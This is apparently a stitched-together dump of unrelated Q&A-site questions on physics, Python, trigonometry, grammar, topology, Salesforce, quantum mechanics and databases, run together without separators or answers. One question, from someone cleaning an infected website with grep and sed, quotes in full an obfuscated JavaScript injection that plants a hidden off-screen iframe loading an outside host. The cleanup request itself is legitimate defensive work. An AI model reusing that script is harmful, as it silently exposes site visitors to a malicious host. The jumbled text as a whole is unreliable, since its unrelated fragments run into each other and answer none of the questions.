Why does the speed of light $c$ have the value it does?
The origin of the value of speed of light in vacuum
I have a string which is like this:  this is "a test"   I'm trying to write something in Python to split it up by space while ignoring spaces within quotes. The result I'm looking for is:  ['this','is','a test']   PS. I know you are going to ask "what happens if there are quotes within the quotes, well, in my application, that will never happen. Proving trigonometric equation $\cos(36^\circ) - \cos(72^\circ) = 1/2$ Please help me to prove this trigonometric equation.  $\cos \left( 36^\circ \right)-\cos \left( 72^\circ \right) = \frac{1}{2}$  Thank you. If a person uses the wrong form of your or you're, would that be considered a spelling or grammatical error? I can really see it swinging both ways...  A sentence with the incorrect use of the word is technically grammatically incorrect, but the root cause could be simple spelling error. If a person speaks a sentence with an incorrect use of the word in question, it seems grammatically correct. When you look at the reader's script, it is then determined to be a spelling error.  When shown in writing, should the error be marked as a spelling or grammatical error? How can I get file extensions with JavaScript? See code:   var file1 = "50.xsl"; var file2 = "30.doc"; getFileExtension(file1); //returns xsl getFileExtension(file2); //returns doc  function getFileExtension(filename) {     /*TODO*/ } prove every connected manifold is path connected manifold .       my thought:      connected space : Let $ X$  be a topological space. A separation of $ X $ is a pair $U, V$ of disjoint    nonempty open subsets of $ X $ whose union is $X$. The space $ X $ is said to be connected    if there does not exist a separation of  $X$ .      Components: Given  $X$ , define an equivalence relation on $X$ by setting x~y if there    is a connected subspace of $X$  containing both $ x$  and $ y$ . The equivalence classes are    called the components (or the "connected components") of $ X$.       Path Component: I define another equivalence relation on the space $ X$  by defining x ~ у    if there is a path in $ X$  from $ x$  to $ y$ . The equivalence classes are called the path components of $ X$ .       Theorem  : The path components of $ X$  are path connected disjoint subspaces    of $X$  whose union is $X$ , such that each nonempty path connected subspace of $X$  intersects only one of them.       thank you so much Suppose there are two users that have commented on an answer. Both have the same user name, and I want to reply to one of them. How can I do this?  It appears that, under the current system, there is no way for me to do this. Specifically, from , I see that:     4. Matching is performed in reverse chronological order, so if five people named John are participating, @john will match the most recent John   So, consider this a request to add this feature using an -n suffix or something similar; e.g. @john-2 could be used to reply to the second John from the top.  Update Thanks to  for nice answer of @name(userid) based auto-complete suggestion which has no loophole. It involves no counting from top &amp; has no consequences when a comment is deleted. But, I think @name(userid) should be used directly in comment as all form inputs at SE are text (nothing embedded).  Now, I'm trying to finalize it based on it: The system should allow optional @name(userid) format for reply. Provided userid with this format, system should ignore name. And, in the situation of duplicate name based confusion, system should demand this format as mandatory to submit comment.  How to get userid? In case of duplicate name based confusion, system should append (userid) in hypertext to their profile. It'd work for mobile version too. On full version, for easy fill-up, a hover reply icon would be fine (like hover vote up icon). Upon clicking it, system should fill @name(userid) in comment text box.  From reply reader side: Multiple Johns could be confused even if they didn't come from notification (because nobody remembers his/her own userid). So, highlight the background of comments which are replied to them. Little Snitch reports outgoing connections for AirPlayXPCHelper for wrong subnets? After upgrading to El Capitan, I've started noticing annoying connections from the AirPlayXPCHelper to 192.168.1.0/24 subnet (my home network isn't in 192.168.1.0/24 subnet, it's in 172.16.0.0/12 subnet).  Questions are:   Why AirPlayXPCHelper goes out to this network on port 5000 and 7000? Is there a way to limit it's desire to go there?   Thank you. The tennis statistics at the end of a set always show the number of winners and unforced errors of the players. But when does a point count as a winner and when as unforced error? Why would a spinning space station create a centrifugal force on an astronaut rather than simply spinning around him/her? We often see films with spinning space station that create  by having the astronauts pulled outwards by centrifugal force.  I'd like to know if this would really happen, and if so, why is the following scenario not true:   Take an astronaut in open space. He doesn't move. Put a big open spinning cylinder around him - surely he still doesn't move. Close the cylinder. I still see no reason for him to be pulled outwards. I'm finishing professional school and over the years have acquired a pile of notes and articles that I'd like to hang onto.  I'd like to add to them and create sort of an archive of article and files that may be useful down the road.  I'd also like to organize this collection of files not only by simple grouping but also with tags.  I feel like that will make searching through them years later much easier.  Suggestions on software that would be good for this?  Just a general file manager, something that uses tags that can be attached to each file? Where should I start learning? There are various topics to learn like Objects, Classes, Apex, Visualforce, SOSL, SOQL, Triggers, etc. There are so many options out there to start learning. I couldn't decide what topic to learn first, and then step by step get proficiency in all aspects of Saleforce. How does one decide whether to use who or that? In the title example:   The correct pronoun is who. The correct pronoun is that. Either is correct. They're interchangeable. It depends on the context. Is $\frac{1}{\sqrt{2}}$ a fraction or not? How is it possible that quantum phenomenons (e.g. superposition) are possible when all quantum particles are being constantly observed? I don't understand how quantum mechanics (and therefore also quantum computers) can work  given that while we work with quantum states, particles that this quantum state consist of cannot be observed, which is the most fundamental requirement.  If I am not mistaken, by "observed" we mean interaction with any other particle (photon, gluon, electron or whatever else). So my very important questions:   Aren't the particles this quantum state consists of interacting with each other? Why doesn't that cause the state to collapse? Aren't all particles in the universe interacting with Higgs field and gravitons etc? Why doesn't that cause every quantum state to collapse?   I feel there is something very fundamental in quantum mechanics that I am not aware of, hence I would be very pleased to have these questions answered. I'm trying to remove malware code from a site using a script, I'm having trouble getting the regex right for the malware part.  What I want to do eventually is to use sed in order to find the malicious code and replace it. In my first attempt I tried to do something like this:  #fgrep -rl --exclude='*.sh' $SEARCH . | xargs sed -i 's/$SEARCH/$REPLACE/g'   Where SEARCH is:  SEARCH='/*236499a9e0b11c0dc3eecf5cf751a097*/ var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28 \x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E \x74","\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x73\x75\x63\x68\x6B\x61\x34\x36\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62 \x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A \x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E \x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf19b[0]]=function(){function _0x10b1x1(_0x10b1x2,_0x10b1x3,_0x10b1x4){if(_0x10b1x4){var _0x10b1x5= new Date();_0x10b1x5[_0xf19b[2]](_0x10b1x5[_0xf19b[1]]()+_0x10b1x4);};if(_0x10b1x2&amp; &amp;_0x10b1x3){document[_0xf19b[3]]=_0x10b1x2+_0xf19b[4]+_0x10b1x3+(_0x10b1x4?_0xf19b[5]+_0x10b1x5[_0xf19b[6]]():_0xf19b[7])}else {return false};}function _0x10b1x6(_0x10b1x2){var _0x10b1x3= new RegExp(_0x10b1x2+_0xf19b[8]);var _0x10b1x4=_0x 10b1x3[_0xf19b[9]](document[_0xf19b[3]]);if(_0x10b1x4){_0x10b1x4=_0x10b1x4[0][_0xf19b[10]](_0xf19b[4])}else {return false};return _0x10b1x4[1]?_0x10b1x4[1]:false;}var _0x10b1x7=_0x10b1x6(_0xf19b[11]);if(_0x10b1x7!=_0xf19b[12]){_0x10b1x1(_ 0xf19b[11],_0xf19b[12],1);var _0x10b1x8=document[_0xf19b[14]](_0xf19b[13]);var _0x10b1x9=1380;var _0x10b1xa=_0xf19b[15]+_0x10b1x9+_0xf19b[16];_0x10b1x8[_0xf19b[17]]=_0xf19b[18]+_0x10b1xa+_0xf19b[19];document[_0xf19b[21]][_0xf19b[20]](_0x1 0b1x8);};}; /*236499a9e0b11c0dc3eecf5cf751a097*/'   and REPLACE:  REPLACE=''   I could not get the sed part to work, the grep works.  So now I'm thinking I could use regular expressions to accomplish this, So I don't have to use the whole string.  Here's the other code:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   This doesn't do anything.  This one does:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*'  grep -rl --exclude='*.sh' $INFECTED .   And this one too:  INFECTED='.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   I'm hoping to get the regex right in grep, and then apply it in sed. Any ideas on how accomplish the goal better ? Or what is wrong with this code ?  Thanks =) List View Visibility Let $H$ and $K$ be subgroups of a group $G$, and let $HK=\{hk: h \in H, k \in K\}$, $KH=\{kh: k \in K, h \in H\}$. How can we prove that $HK$ is a subgroup iff $HK=KH$? I read a lot about the classical twin paradox recently. What confuses me is that some authors claim that it can be resolved within , others say that you need . Now, what is true (and why)? MySQL Date Between Can anybody tell me when Application_End is triggered in a lifecycle of an application? When all sessions are ended, will Application_End be triggered automatically? + Are there any other reasons why Application_End could be triggered?